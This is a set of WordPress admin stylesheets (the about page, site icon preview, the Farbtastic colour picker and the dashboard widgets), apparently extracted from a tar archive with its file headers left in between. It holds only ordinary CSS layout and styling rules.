.about__header{background-image:url("../images/about-header-freedoms.webp?ver=20260514")}.privacy-php .about__header{background-image:url("../images/about-header-privacy.webp?ver=20260514")}.contribute-php .about__header{background-image:url("../images/about-header-get-involved.webp?ver=20260514")}[dir=rtl] .about__header{background-image:url("../images/about-header-default-rtl.webp?ver=20260514")}[dir=rtl] .credits-php .about__header{background-image:url("../images/about-header-credits-rtl.webp?ver=20260514")}[dir=rtl] .freedoms-php .about__header{background-image:url("../images/about-header-freedoms-rtl.webp?ver=20260514")}[dir=rtl] .privacy-php .about__header{background-image:url("../images/about-header-privacy-rtl.webp?ver=20260514")}[dir=rtl] .contribute-php .about__header{background-image:url("../images/about-header-get-involved-rtl.webp?ver=20260514")}.about__header-image{margin:0 0 calc(var(--gap) * 1.5)}.about__header-title{box-sizing:border-box;margin:0;padding:0}.about__header-title h1{margin:0;padding:0;font-size:clamp(2rem, 20vw - 9rem, 4rem);line-height:1;font-weight:600;color:var(--text)}.about-php .about__header-title h1,.contribute-php .about__header-title h1,.credits-php .about__header-title h1,.freedoms-php .about__header-title h1,.privacy-php .about__header-title h1{font-size:clamp(2rem, 20vw - 9rem, 4rem)}.about__header-text{box-sizing:border-box;max-width:26em;margin:1rem 0 0;padding:0;font-size:1.6rem;line-height:1.15;color:var(--text)}.about__header-navigation{position:relative;z-index:1;display:flex;flex-wrap:wrap;justify-content:space-between;padding-top:0;margin-bottom:var(--gap);background:var(--nav-background);color:var(--nav-color);border-bottom:3px solid var(--nav-border)}.about__header-navigation::after{display:none}.about__header-navigation .nav-tab{margin-left:0;padding:calc(var(--gap) * .75) var(--gap);float:none;font-size:1.4em;line-height:1;border-width:0 0 3px;border-style:solid;border-color:transparent;background:0 0;color:inherit}.about__header-navigation .nav-tab:active,.about__header-navigation .nav-tab:hover{background-color:var(--nav-current);color:var(--text-light);border-radius:var(--border-radius)}.about__header-navigation .nav-tab-active{margin-bottom:-3px;color:var(--nav-current);border-width:0 0 6px;border-color:var(--nav-current)}.about__header-navigation .nav-tab-active:active,.about__header-navigation .nav-tab-active:hover{background-color:var(--nav-current);color:var(--text-light);border-color:var(--nav-current);border-radius:var(--border-radius)}@media screen and (max-width:960px){.about__header{padding-right:21rem}.about-php .about__header-title h1,.contribute-php .about__header-title h1,.credits-php .about__header-title h1,.freedoms-php .about__header-title h1,.privacy-php .about__header-title h1{font-size:clamp(2rem, 20vw - 9rem, 4rem)}.about__header-navigation .nav-tab{padding:calc(var(--gap) * .75) calc(var(--gap) * .5)}}@media screen and (max-width:782px){.about__container .about__header-text{font-size:1.4em}.about__header-container{display:block}.about__header{padding:var(--gap);padding-right:17rem}.about__header-text{margin-top:.5rem}.about__header-navigation .nav-tab{margin-top:0;margin-right:0;font-size:1.2em}}@media screen and (max-width:600px){.about__header{min-height:auto;padding-right:var(--gap)}.about__header-navigation{display:block}.about__header-navigation .nav-tab{display:block;margin-bottom:0;padding:calc(var(--gap)/ 2);border-left-width:6px;border-bottom:none}.about__header-navigation .nav-tab-active{border-bottom:none;border-left-width:6px}}.about__section .wp-people-group-title{margin-bottom:calc(var(--gap) * 2 - 10px);text-align:center}.about__section .wp-people-group{margin:0;display:flex;flex-wrap:wrap}.about__section .wp-person{display:inline-block;vertical-align:top;box-sizing:border-box;margin-bottom:calc(var(--gap) - 10px);width:25%;text-align:center}.about__section .compact .wp-person{height:auto;width:20%}.about__section .wp-person-avatar{display:block;margin:0 auto calc(var(--gap)/ 2);width:140px;height:140px;border-radius:100%;overflow:hidden}.about__section .wp-person .gravatar{width:140px;height:140px;filter:grayscale(100%)}.about__section .compact .wp-person .gravatar,.about__section .compact .wp-person-avatar{width:80px;height:80px}.about__section .wp-person .web{display:block;font-size:1.4em;font-weight:600;padding:10px 10px 0;text-decoration:none}.about__section .wp-person .web:hover{text-decoration:underline}.about__section .compact .wp-person .web{font-size:1.2em}.about__section .wp-person .title{display:block;margin-top:.5em}@media screen and (max-width:782px){.about__section .wp-person{width:33%}.about__section .compact .wp-person{width:25%}.about__section .wp-person .gravatar,.about__section .wp-person-avatar{width:120px;height:120px}}@media screen and (max-width:600px){.about__section .wp-person{width:50%}.about__section .compact .wp-person{width:33%}.about__section .wp-person .web{font-size:1.2em}}@media screen and (max-width:480px){.about__section .wp-person{min-width:100%}.about__section .wp-person .web{font-size:1em}.about__section .compact .wp-person .web{font-size:1em}}.about__section .column .freedom-image{margin-bottom:var(--gap);max-height:180px}.about__section .column .privacy-image{display:block;margin-left:auto;margin-right:auto;max-width:25rem}.about-wrap{position:relative;margin:25px 40px 0 20px;max-width:1050px;font-size:15px}.about-wrap.full-width-layout{max-width:1200px}.about-wrap-content{max-width:1050px}.about-wrap .notice,.about-wrap div.error,.about-wrap div.updated{display:none!important}.about-wrap hr{border:0;height:0;margin:3em 0 0;border-top:1px solid rgba(0,0,0,.1)}.about-wrap img{margin:0;width:100%;height:auto;vertical-align:middle}.about-wrap .inline-svg img{max-width:100%;width:auto;height:auto}.about-wrap video{margin:1.5em auto}.wp-badge{background:#0073aa url(../images/w-logo-white.png?ver=20160308) no-repeat;background-position:center 25px;background-size:80px 80px;color:#fff;font-size:14px;text-align:center;font-weight:600;margin:5px 0 0;padding-top:120px;height:40px;display:inline-block;width:140px;text-rendering:optimizeLegibility;box-shadow:0 1px 3px rgba(0,0,0,.2)}.svg .wp-badge{background-image:url(../images/wordpress-logo-white.svg?ver=20160308)}.about-wrap .wp-badge{position:absolute;top:0;right:0}.about-wrap .nav-tab{padding-right:15px;padding-left:15px;font-size:18px;line-height:1.33333333}.about-wrap h1{margin:.2em 200px 0 0;padding:0;color:#32373c;line-height:1.2;font-size:2.8em;font-weight:400}.about-wrap h2{margin:40px 0 .6em;font-size:2.7em;line-height:1.3;font-weight:300;text-align:center}.about-wrap h3{margin:1.25em 0 .6em;font-size:1.4em;line-height:1.5}.about-wrap h4{font-size:16px;color:#23282d}.about-wrap p{line-height:1.5;font-size:16px}.about-wrap code,.about-wrap ol li p{font-size:14px;font-weight:400}.about-wrap figcaption{font-size:13px;text-align:center;color:#fff;text-overflow:ellipsis}.about-wrap .about-description,.about-wrap .about-text{margin-top:1.4em;font-weight:400;line-height:1.6;font-size:19px}.about-wrap .about-text{margin:1em 200px 1em 0;color:#555d66}.about-wrap .has-1-columns,.about-wrap .has-2-columns,.about-wrap .has-3-columns,.about-wrap .has-4-columns{display:grid;max-width:800px;margin-top:40px;margin-left:auto;margin-right:auto}.about-wrap .column{margin-right:20px;margin-left:20px}.about-wrap .is-wide{max-width:760px}.about-wrap .is-fullwidth{max-width:100%}.about-wrap .has-1-columns{display:block;max-width:680px;margin:0 auto 40px}.about-wrap .has-2-columns{grid-template-columns:1fr 1fr}.about-wrap .has-2-columns .column:nth-of-type(odd){grid-column-start:1}.about-wrap .has-2-columns .column:nth-of-type(2n){grid-column-start:2}.about-wrap .has-2-columns.is-wider-right{grid-template-columns:1fr 2fr}.about-wrap .has-2-columns.is-wider-left{grid-template-columns:2fr 1fr}.about-wrap .has-3-columns{grid-template-columns:repeat(3,1fr)}.about-wrap .has-3-columns .column:nth-of-type(3n+1){grid-column-start:1}.about-wrap .has-3-columns .column:nth-of-type(3n+2){grid-column-start:2}.about-wrap .has-3-columns .column:nth-of-type(3n){grid-column-start:3}.about-wrap .has-4-columns{grid-template-columns:repeat(4,1fr)}.about-wrap .has-4-columns .column:nth-of-type(4n+1){grid-column-start:1}.about-wrap .has-4-columns .column:nth-of-type(4n+2){grid-column-start:2}.about-wrap .has-4-columns .column:nth-of-type(4n+3){grid-column-start:3}.about-wrap .has-4-columns .column:nth-of-type(4n){grid-column-start:4}.about-wrap .column :first-child{margin-top:0}.about-wrap .aligncenter{text-align:center}.about-wrap .alignleft{float:left;margin-right:40px}.about-wrap .alignright{float:right;margin-left:40px}.about-wrap .is-vertically-aligned-top{align-self:flex-start}.about-wrap .is-vertically-aligned-center{align-self:center}.about-wrap .is-vertically-aligned-bottom{align-self:end}.about-wrap .point-releases{margin-top:5px;border-bottom:1px solid #ddd}.about-wrap .changelog{margin-bottom:40px}.about-wrap .changelog.point-releases h3{padding-top:35px}.about-wrap .changelog.point-releases h3:first-child{padding-top:7px}.about-wrap .changelog.feature-section .col{margin-top:40px}.about-wrap .lead-description{font-size:1.5em;text-align:center}.about-wrap .feature-section p{margin-top:.6em}.about-wrap .headline-feature{margin:0 auto 40px;max-width:680px}.about-wrap .headline-feature h2{margin:50px 0 0}.about-wrap .headline-feature img{max-width:600px;width:100%}.about-wrap .return-to-dashboard{margin:30px 0 0 -5px;font-size:14px;font-weight:600}.about-wrap .return-to-dashboard a{text-decoration:none;padding:0 5px}.about-wrap h2.wp-people-group{margin:2.6em 0 1.33em;padding:0;font-size:16px;line-height:inherit;font-weight:600;text-align:left}.about-wrap .wp-people-group{padding:0 5px;margin:0 -15px 0 -5px}.about-wrap .compact{margin-bottom:0}.about-wrap .wp-person{display:inline-block;vertical-align:top;margin-right:10px;padding-bottom:15px;height:70px;width:280px}.about-wrap .compact .wp-person{height:auto;width:180px;padding-bottom:0;margin-bottom:0}.about-wrap .wp-person .gravatar{float:left;margin:0 10px 10px 0;padding:1px;width:60px;height:60px}.about-wrap .compact .wp-person .gravatar{width:30px;height:30px}.about-wrap .wp-person .web{margin:6px 0 2px;font-size:16px;font-weight:400;line-height:2;text-decoration:none}.about-wrap .wp-person .title{display:block}.about-wrap #wp-people-group-validators+p.wp-credits-list{margin-top:0}.about-wrap p.wp-credits-list a{white-space:nowrap}.freedoms-php .about-wrap ol{margin:40px 60px}.freedoms-php .about-wrap ol li{list-style-type:decimal;font-weight:600}.freedoms-php .about-wrap ol p{font-weight:400;margin:.6em 0}@media screen and (max-width:782px){.about-wrap .has-3-columns,.about-wrap .has-4-columns{grid-template-columns:1fr 1fr}.about-wrap .has-3-columns .column:nth-of-type(3n+1),.about-wrap .has-4-columns .column:nth-of-type(4n+1){grid-column-start:1;grid-row-start:1}.about-wrap .has-3-columns .column:nth-of-type(3n+2),.about-wrap .has-4-columns .column:nth-of-type(4n+2){grid-column-start:2;grid-row-start:1}.about-wrap .has-3-columns .column:nth-of-type(3n),.about-wrap .has-4-columns .column:nth-of-type(4n+3){grid-column-start:1;grid-row-start:2}.about-wrap .has-4-columns .column:nth-of-type(4n){grid-column-start:2;grid-row-start:2}}@media screen and (max-width:600px){.about-wrap .has-2-columns,.about-wrap .has-3-columns,.about-wrap .has-4-columns{display:block}.about-wrap :not(.is-wider-right):not(.is-wider-left) .column{margin-right:0;margin-left:0}.about-wrap .has-2-columns.is-wider-left,.about-wrap .has-2-columns.is-wider-right{display:grid}}@media only screen and (max-width:500px){.about-wrap{margin-right:20px;margin-left:10px}.about-wrap .about-text,.about-wrap h1{margin-right:0}.about-wrap .about-text{margin-bottom:.25em}.about-wrap .wp-badge{position:relative;margin-bottom:1.5em;width:100%}}@media only screen and (max-width:480px){.about-wrap .has-2-columns.is-wider-left,.about-wrap .has-2-columns.is-wider-right{display:block}.about-wrap .column{margin-right:0;margin-left:0}.about-wrap .has-2-columns.is-wider-left img,.about-wrap .has-2-columns.is-wider-right img{max-width:160px}} css/site-icon-rtl.css 0000644 00000011050 15233246127 0010541 0 ustar 00 /*! This file is auto-generated */ /*------------------------------------------------------------------------------ 28.0 - Site Icon ------------------------------------------------------------------------------*/ .site-icon-section { --site-icon-removal: #b32d2e; } .site-icon-preview { --site-icon-input-border: #8c8f94; --site-icon-preview-background: #fff; --site-icon-preview-browser-top: #dcdcde; --site-icon-preview-browser-bottom: #a7aaad; --site-icon-preview-browser-border: rgba(255, 255, 255, 0.2); --site-icon-address-bar-background: #f0f0f1; --site-icon-address-bar-close: #646970; --site-icon-address-bar-text: #3c434a; --site-icon-shadow-1: rgba(0, 0, 0, 0.1); --site-icon-shadow-2: rgba(0, 0, 0, 0.2); --site-icon-shadow-3: rgba(0, 0, 0, 0.5); direction: initial; display: flex; height: 60px; padding: 8px 8px 0 0; align-items: flex-start; position: relative; overflow: hidden; box-sizing: border-box; border: 1px solid var(--site-icon-input-border); border-radius: 4px; background-color: var(--site-icon-preview-background); width: 275px; } @media (prefers-color-scheme: dark) { .site-icon-preview { --site-icon-preview-browser-top: #2c3338; --site-icon-preview-browser-bottom: #111; --site-icon-address-bar-background: #3c434a; --site-icon-address-bar-close: #f0f0f1; --site-icon-address-bar-text: #f0f0f1; } } .site-icon-preview.settings { height: 88px; padding: 16px 16px 0 0; width: 350px; margin: 0 0 16px 0; } .site-icon-preview.crop { width: 258px; height: 100%; display: grid; grid-template-columns: 8px 1fr; grid-template-rows: 64px 1fr; padding-right: 0; row-gap: 16px; direction: inherit; } .site-icon-preview.hidden { display: none; } .site-icon-preview .direction-wrap { grid-template-columns: 44px 1fr; gap: 8px; display: grid; direction: rtl; height: 100%; width: 100%; } .site-icon-preview.settings .direction-wrap { grid-template-columns: 58px 1fr; gap: 16px; } .site-icon-preview:after { --after-size: 150%; aspect-ratio: 1/1; content: ""; display: block; position: absolute; top: 0; right: 0; width: var(--after-size);; transform: translate(calc(-1*(var(--after-size) * -0.125)), calc(var(--after-size) * -0.125)); filter: blur(5px); opacity: 0.5; background: var(--site-icon-url); } .site-icon-preview .app-icon-preview { aspect-ratio: 1/1; border-radius: 10px; box-shadow: 0 1px 5px 0 var(--site-icon-shadow-3); flex-shrink: 0; width: 100%; z-index: 1; } .site-icon-preview-browser { display: flex; padding: 4px 12px 0 4px; align-items: flex-start; gap: 16px; flex: 1 0 0; z-index: 1; border-top-right-radius: 10px; border-top: 1px solid var(--site-icon-preview-browser-border); border-right: 1px solid var(--site-icon-preview-browser-border); background: linear-gradient(-180deg, var(--site-icon-preview-browser-top) 0%, var(--site-icon-preview-browser-bottom) 100%); box-shadow: 0 10px 22px 0 var(--site-icon-shadow-2); } .site-icon-preview .browser-buttons { width: 48px; height: 40px; fill: var(--site-icon-input-border); } .site-icon-preview-tab { padding: 8px; align-items: center; gap: 8px; flex: 1 0 0; border-radius: 4px; background-color: var(--site-icon-address-bar-background); box-shadow: 0 1px 3px 0 var(--site-icon-shadow-1); display: grid; grid-template-columns: 24px auto 24px; } .site-icon-preview-browser .browser-icon-preview { box-shadow: 0 0 20px 0 var(--site-icon-shadow-1); } .site-icon-preview-tab > img, .site-icon-preview-tab > svg { width: 24px; height: 24px; } .site-icon-preview-tab > svg { fill: var(--site-icon-address-bar-close); } .site-icon-preview-site-title { color: var(--site-icon-address-bar-text); text-overflow: ellipsis; white-space: nowrap; overflow: hidden; font-weight: 500; } .site-icon-preview-crop-modal .image-preview-wrap.app-icon-preview { width: 64px; height: 64px; margin: 0; grid-column: 2; } .site-icon-preview-crop-modal .site-icon-preview-browser { grid-column: 2; } .site-icon-preview-crop-modal .image-preview-wrap { overflow: hidden; aspect-ratio: 1/1; } .site-icon-preview-crop-modal .image-preview-wrap.browser { width: 24px; height: 24px; } button.reset.remove-site-icon { color: var(--site-icon-removal); text-decoration: none; border-color: currentColor; box-shadow: none; background: transparent; } button.reset.remove-site-icon:focus, button.reset.remove-site-icon:hover { background: var(--site-icon-removal); color: #fff; border-color: var(--site-icon-removal); box-shadow: 0 0 0 1px var(--site-icon-removal); } .site-icon-action-buttons { display: flex; flex-wrap: wrap; gap: 10px; } css/farbtastic-rtl.css 0000644 00000001207 15233246127 0010774 0 ustar 00 /*! This file is auto-generated */ .farbtastic { position: relative; } .farbtastic * { position: absolute; cursor: crosshair; } .farbtastic, .farbtastic .wheel { width: 195px; height: 195px; } .farbtastic .color, .farbtastic .overlay { top: 47px; right: 47px; width: 101px; height: 101px; } .farbtastic .wheel { background: url(../images/wheel.png) no-repeat; width: 195px; height: 195px; } .farbtastic .overlay { background: url(../images/mask.png) no-repeat; } .farbtastic .marker { width: 17px; height: 17px; margin: -8px -8px 0 0; overflow: hidden; background: url(../images/marker.png) no-repeat; } css/dashboard.css 0000644 00000073311 15233246127 0010007 0 ustar 00 #wpbody-content #dashboard-widgets.columns-1 .postbox-container { width: 100%; } #wpbody-content #dashboard-widgets.columns-2 .postbox-container { width: 49.5%; } #wpbody-content #dashboard-widgets.columns-2 #postbox-container-2, #wpbody-content #dashboard-widgets.columns-2 #postbox-container-3, #wpbody-content #dashboard-widgets.columns-2 #postbox-container-4 { float: right; width: 50.5%; } #wpbody-content #dashboard-widgets.columns-3 .postbox-container { width: 33.5%; } #wpbody-content #dashboard-widgets.columns-3 #postbox-container-1 { width: 33%; } #wpbody-content #dashboard-widgets.columns-3 #postbox-container-3, #wpbody-content #dashboard-widgets.columns-3 #postbox-container-4 { float: right; } #wpbody-content #dashboard-widgets.columns-4 .postbox-container { width: 25%; } #dashboard-widgets .postbox-container { width: 25%; } #dashboard-widgets-wrap .columns-3 #postbox-container-4 .empty-container { border: none !important; } #dashboard-widgets-wrap { overflow: hidden; margin: 0 -8px; } #dashboard-widgets .postbox { border-radius: 8px; } #dashboard-widgets .postbox-header .hndle { padding: 12px 16px; } #dashboard-widgets .postbox .inside { margin-bottom: 0; } #dashboard-widgets .meta-box-sortables { display: flow-root; /* avoid margin collapsing between parent and first/last child elements */ /* Required min-height to make the jQuery UI Sortable drop zone work. */ min-height: 0; margin: 0 8px 20px; } #dashboard-widgets .meta-box-sortables:not(:empty) { margin-bottom: 16px; } #dashboard-widgets .postbox-container .empty-container { outline: 2px dashed rgb(0, 0, 0, 0.15); outline-offset: -2px; border-radius: 8px; height: 250px; margin: 4px; } /* Only highlight drop zones when dragging. */ .is-dragging-metaboxes #dashboard-widgets .meta-box-sortables { border-radius: 8px; background: rgb(var(--wp-admin-theme-color--rgb), 0.04); min-height: 100px; } .is-dragging-metaboxes #dashboard-widgets .postbox-container .empty-container { background: rgb(0, 0, 0, 0.01); } #dashboard-widgets .postbox-container .empty-container:after { content: attr(data-emptystring); margin: auto; position: absolute; top: 50%; left: 0; right: 0; transform: translateY( -50% ); padding: 0 2em; text-align: center; color: #646970; font-size: 16px; line-height: 1.5; display: none; } /* @todo: this was originally in this section, but likely belongs elsewhere */ #the-comment-list td.comment p.comment-author { margin-top: 0; margin-left: 0; } #the-comment-list p.comment-author img { float: left; margin-right: 8px; } #the-comment-list p.comment-author strong a { border: none; } #the-comment-list td { vertical-align: top; } #the-comment-list td.comment { word-wrap: break-word; } #the-comment-list td.comment img { max-width: 100%; } /* Screen meta exception for when the "Dashboard" heading is missing or located below the Welcome Panel. */ .index-php #screen-meta-links { margin: 0 20px 8px 0; } /* Welcome Panel */ .welcome-panel { position: relative; overflow: auto; margin: 16px 0; border-radius: 8px; font-size: 14px; line-height: 1.3; clear: both; } .welcome-panel h2 { margin: 0; font-size: 48px; font-weight: 600; line-height: 1.25; } .welcome-panel h3 { margin: 0; font-size: 20px; font-weight: 400; line-height: 1.4; } .welcome-panel p { font-size: inherit; line-height: inherit; } .welcome-panel-header { position: relative; color: #fff; } .welcome-panel-header-image { position: absolute !important; top: 0; right: 0; bottom: 0; left: 0; z-index: 0 !important; overflow: hidden; } .welcome-panel-header-image svg { display: block; margin: auto; width: 100%; height: 100%; } .rtl .welcome-panel-header-image svg { transform: scaleX(-1); } .welcome-panel-header * { color: inherit; position: relative; z-index: 1; } .welcome-panel-header a:focus, .welcome-panel-header a:hover { color: inherit; text-decoration: none; } .welcome-panel-header a:focus, .welcome-panel .welcome-panel-close:focus { outline-color: currentColor; outline-offset: 1px; box-shadow: none; } .welcome-panel-header p { margin: 0.5em 0 0; font-size: 20px; line-height: 1.4; } .welcome-panel .welcome-panel-close { display: flex; align-items: center; position: absolute; top: 10px; right: 10px; padding: 10px 15px; font-size: 13px; line-height: 1.23076923; /* Chrome rounding, needs to be 16px equivalent */ text-decoration: none; z-index: 1; /* Raise above the version image. */ } .welcome-panel .welcome-panel-close:before { transition: all .1s ease-in-out; content: '\f335'; font-size: 24px; color: #fff; } .welcome-panel .welcome-panel-close { color: #fff; } .welcome-panel .welcome-panel-close:hover, .welcome-panel .welcome-panel-close:focus, .welcome-panel .welcome-panel-close:hover::before, .welcome-panel .welcome-panel-close:focus::before { color: #fff972; } /* @deprecated 5.9.0 -- Button removed from panel. */ .wp-core-ui .welcome-panel .button.button-hero { margin: 15px 13px 3px 0; padding: 12px 36px; height: auto; line-height: 1.4285714; white-space: normal; } .welcome-panel-content { min-height: 400px; display: flex; flex-direction: column; justify-content: space-between; } .welcome-panel-header-wrap { background-color: #151515; } .welcome-panel-header { box-sizing: border-box; margin-left: auto; margin-right: auto; max-width: 1500px; width: 100%; padding: 48px 0 80px 48px; } .welcome-panel .welcome-panel-column-container { box-sizing: border-box; width: 100%; clear: both; display: grid; z-index: 1; padding: 24px; grid-template-columns: repeat(3, 1fr); gap: 32px; align-self: flex-end; background: #ffffff; border: 1px solid #c3c4c7; border-top: 0; border-radius: 0 0 8px 8px; } [class*="welcome-panel-icon"] { height: 60px; width: 60px; background-position: center; background-size: 24px 24px; background-repeat: no-repeat; border-radius: 100%; } .welcome-panel-column > svg { margin-top: 4px; } .welcome-panel-column { display: grid; grid-template-columns: min-content 1fr; gap: 24px; } .welcome-panel-icon-pages { background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath fill='%23fff' d='M7 13.8h6v-1.5H7v1.5zM18 16V4c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2zM5.5 16V4c0-.3.2-.5.5-.5h10c.3 0 .5.2.5.5v12c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5zM7 10.5h8V9H7v1.5zm0-3.3h8V5.8H7v1.4zM20.2 6v13c0 .7-.6 1.2-1.2 1.2H8v1.5h11c1.5 0 2.7-1.2 2.7-2.8V6h-1.5z' /%3E%3C/svg%3E"); } .welcome-panel-icon-layout { background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath fill='%23fff' d='M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z' /%3E%3C/svg%3E"); } .welcome-panel-icon-styles { background-image: url("data:image/svg+xml,%3Csvg viewBox='0 0 24 24' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill='%23fff' d='M12 4c-4.4 0-8 3.6-8 8v.1c0 4.1 3.2 7.5 7.2 7.9h.8c4.4 0 8-3.6 8-8s-3.6-8-8-8zm0 15V5c3.9 0 7 3.1 7 7s-3.1 7-7 7z' /%3E%3C/svg%3E"); } /* @deprecated 5.9.0 -- Section removed from welcome panel. */ .welcome-panel .welcome-widgets-menus { line-height: 1.14285714; } /* @deprecated 5.9.0 -- Lists removed from welcome panel. */ .welcome-panel .welcome-panel-column ul { margin: 0.8em 1em 1em 0; } /* @deprecated 5.9.0 -- Lists removed from welcome panel. */ .welcome-panel li { font-size: 14px; } /* @deprecated 5.9.0 -- Lists removed from welcome panel. */ .welcome-panel li a { text-decoration: none; } /* @deprecated 5.9.0 -- Lists removed from welcome panel. */ .welcome-panel .welcome-panel-column li { line-height: 1.14285714; list-style-type: none; padding: 0 0 8px; } /* @deprecated 5.9.0 -- Icons removed from welcome panel. */ .welcome-panel .welcome-icon { background: transparent !important; } /* Welcome Panel and Right Now common Icons style */ /* @deprecated 5.9.0 -- Icons removed from welcome panel. */ .welcome-panel .welcome-icon:before, #dashboard_right_now li a:before, #dashboard_right_now li span:before, #dashboard_right_now .search-engines-info:before { color: #646970; font: normal 20px/1 dashicons; display: inline-block; padding: 0 10px 0 0; position: relative; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-decoration: none !important; vertical-align: top; } /* Welcome Panel specific Icons styles */ /* @deprecated 5.9.0 -- Icons removed from welcome panel. */ .welcome-panel .welcome-write-blog:before, .welcome-panel .welcome-edit-page:before { content: "\f119"; content: "\f119" / ''; top: -3px; } /* @deprecated 5.9.0 -- Icons removed from welcome panel. */ .welcome-panel .welcome-add-page:before { content: "\f132"; content: "\f132" / ''; top: -1px; } /* @deprecated 5.9.0 -- Icons removed from welcome panel. */ .welcome-panel .welcome-setup-home:before { content: "\f102"; content: "\f102" / ''; top: -1px; } /* @deprecated 5.9.0 -- Icons removed from welcome panel. */ .welcome-panel .welcome-view-site:before { content: "\f115"; content: "\f115" / ''; top: -2px; } /* @deprecated 5.9.0 -- Icons removed from welcome panel. */ .welcome-panel .welcome-widgets-menus:before { content: "\f116"; content: "\f116" / ''; top: -2px; } /* @deprecated 5.9.0 -- Icons removed from welcome panel. */ .welcome-panel .welcome-widgets:before { content: "\f538"; content: "\f538" / ''; top: -2px; } /* @deprecated 5.9.0 -- Icons removed from welcome panel. */ .welcome-panel .welcome-menus:before { content: "\f163"; content: "\f163" / ''; top: -2px; } /* @deprecated 5.9.0 -- Icons removed from welcome panel. */ .welcome-panel .welcome-comments:before { content: "\f117"; content: "\f117" / ''; top: -1px; } /* @deprecated 5.9.0 -- Icons removed from welcome panel. */ .welcome-panel .welcome-learn-more:before { content: "\f118"; content: "\f118" / ''; top: -1px; } /* Right Now specific Icons styles */ #dashboard_right_now .search-engines-info:before, #dashboard_right_now li a:before, #dashboard_right_now li > span:before { /* get only the first level span to exclude screen-reader-text in mu-storage */ padding: 0 5px 0 0; /* generic icon for items added by CPTs ? */ content: "\f159"; content: "\f159" / ''; } #dashboard_right_now .page-count a:before, #dashboard_right_now .page-count span:before { content: "\f105"; content: "\f105" / ''; } #dashboard_right_now .post-count a:before, #dashboard_right_now .post-count span:before { content: "\f109"; content: "\f109" / ''; } #dashboard_right_now .comment-count a:before { content: "\f101"; content: "\f101" / ''; } #dashboard_right_now .comment-mod-count a:before { content: "\f125"; content: "\f125" / ''; } #dashboard_right_now .storage-count a:before { content: "\f104"; content: "\f104" / ''; } #dashboard_right_now .storage-count.warning a:before { content: "\f153"; content: "\f153" / ''; } #dashboard_right_now .search-engines-info:before { content: "\f348"; content: "\f348" / ''; color: #d63638; } /* Dashboard WordPress events */ .community-events-errors { margin: 0; } .community-events-loading { padding: 10px 12px 8px; } .community-events { margin-bottom: 6px; padding: 0 12px; } .community-events .spinner { margin: 0 2px 0; } .community-events-errors[aria-hidden="true"], .community-events-errors [aria-hidden="true"], .community-events-loading[aria-hidden="true"], .community-events[aria-hidden="true"], .community-events form[aria-hidden="true"] { display: none; } .community-events .activity-block:first-child, .community-events h2 { padding-top: 12px; padding-bottom: 10px; } .community-events-form { margin: 15px 0 5px; display: flex; gap: 5px; align-items: center; flex-wrap: wrap; } .community-events-form .regular-text { width: 40%; margin: 0; min-height: 32px; padding: 0 8px; } #dashboard-widgets .community-events-form .button { min-height: 32px; line-height: 2.30769231; padding: 0 12px; } .community-events li.event-none { border-left: 4px solid var(--wp-admin-theme-color, #3858e9); } #dashboard-widgets .community-events li.event-none a { text-decoration: underline; } .community-events-form label { line-height: 2.14285714; } .community-events .activity-block > p { margin-bottom: 0; display: inline; } .community-events-toggle-location { vertical-align: middle; } /* Needs higher specificity than #dashboard-widgets .button-link */ #dashboard-widgets .community-events-cancel.button-link { text-decoration: underline; } .community-events ul { background-color: rgba(var(--wp-admin-theme-color--rgb),.08); padding-left: 0; padding-right: 0; padding-bottom: 0; } .community-events li { margin: 0; padding: 8px 12px; color: #2c3338; } .community-events li:first-child { border-top: 1px solid #e9e9ed; } .community-events li ~ li { border-top: 1px solid #e9e9ed; } .community-events .activity-block.last { border-bottom: 1px solid #e9e9ed; padding-top: 0; margin-top: -1px; } .community-events .event-info { display: block; } .community-events .ce-separator::before { content: "\2022"; content: "\2022" / ''; } .event-icon { height: 18px; padding-right: 10px; width: 18px; display: none; /* Hide on smaller screens */ } .event-icon:before { color: #646970; font-size: 18px; } .event-meetup .event-icon:before { content: "\f484"; content: "\f484" / ''; } .event-wordcamp .event-icon:before { content: "\f486"; content: "\f486" / ''; } .community-events .event-title { font-weight: 600; display: block; } .community-events .event-date, .community-events .event-time { display: block; } .community-events-footer { margin-top: 0; margin-bottom: 0; padding: 12px; border-top: 1px solid #f0f0f1; color: #646970; } /* Safari 10 + VoiceOver specific: without this, the hidden text gets read out before the link. */ .community-events-footer .screen-reader-text { height: inherit; white-space: nowrap; } /* Dashboard WordPress news */ #dashboard_primary .inside { margin: 0; padding: 0; } #dashboard_primary .widget-loading { padding: 12px 12px 0; margin-bottom: 1em !important; /* Needs to override `.postbox .inside > p:last-child` in common.css */ } /* Notice when JS is off. */ #dashboard_primary .inside .notice { margin: 0; } body #dashboard-widgets .postbox form .submit { margin: 0; } /* Used only for configurable widgets. */ .dashboard-widget-control-form p { margin-top: 0; } .rssSummary { color: #646970; margin-top: 4px; } #dashboard_primary .rss-widget { font-size: 13px; padding: 0 12px; } #dashboard_primary .rss-widget:last-child { border-bottom: none; padding-bottom: 8px; } #dashboard_primary .rss-widget a { font-weight: 400; } #dashboard_primary .rss-widget span, #dashboard_primary .rss-widget span.rss-date { color: #646970; } #dashboard_primary .rss-widget span.rss-date { margin-left: 12px; } #dashboard_primary .rss-widget ul li { padding: 4px 0; margin: 0; } /* Dashboard right now */ #dashboard_right_now ul { margin: 0; /* contain floats but don't use overflow: hidden */ display: inline-block; width: 100%; } #dashboard_right_now li { width: 50%; float: left; margin-bottom: 10px; } #dashboard_right_now .main p { margin: 0; } #dashboard_right_now #wp-version-message .button { float: right; position: relative; top: -5px; margin-left: 5px; } #dashboard_right_now p.search-engines-info { margin: 1em 0; } .mu-storage { overflow: hidden; } #dashboard-widgets h3.mu-storage { margin: 0 0 10px; padding: 0; font-size: 14px; font-weight: 400; } 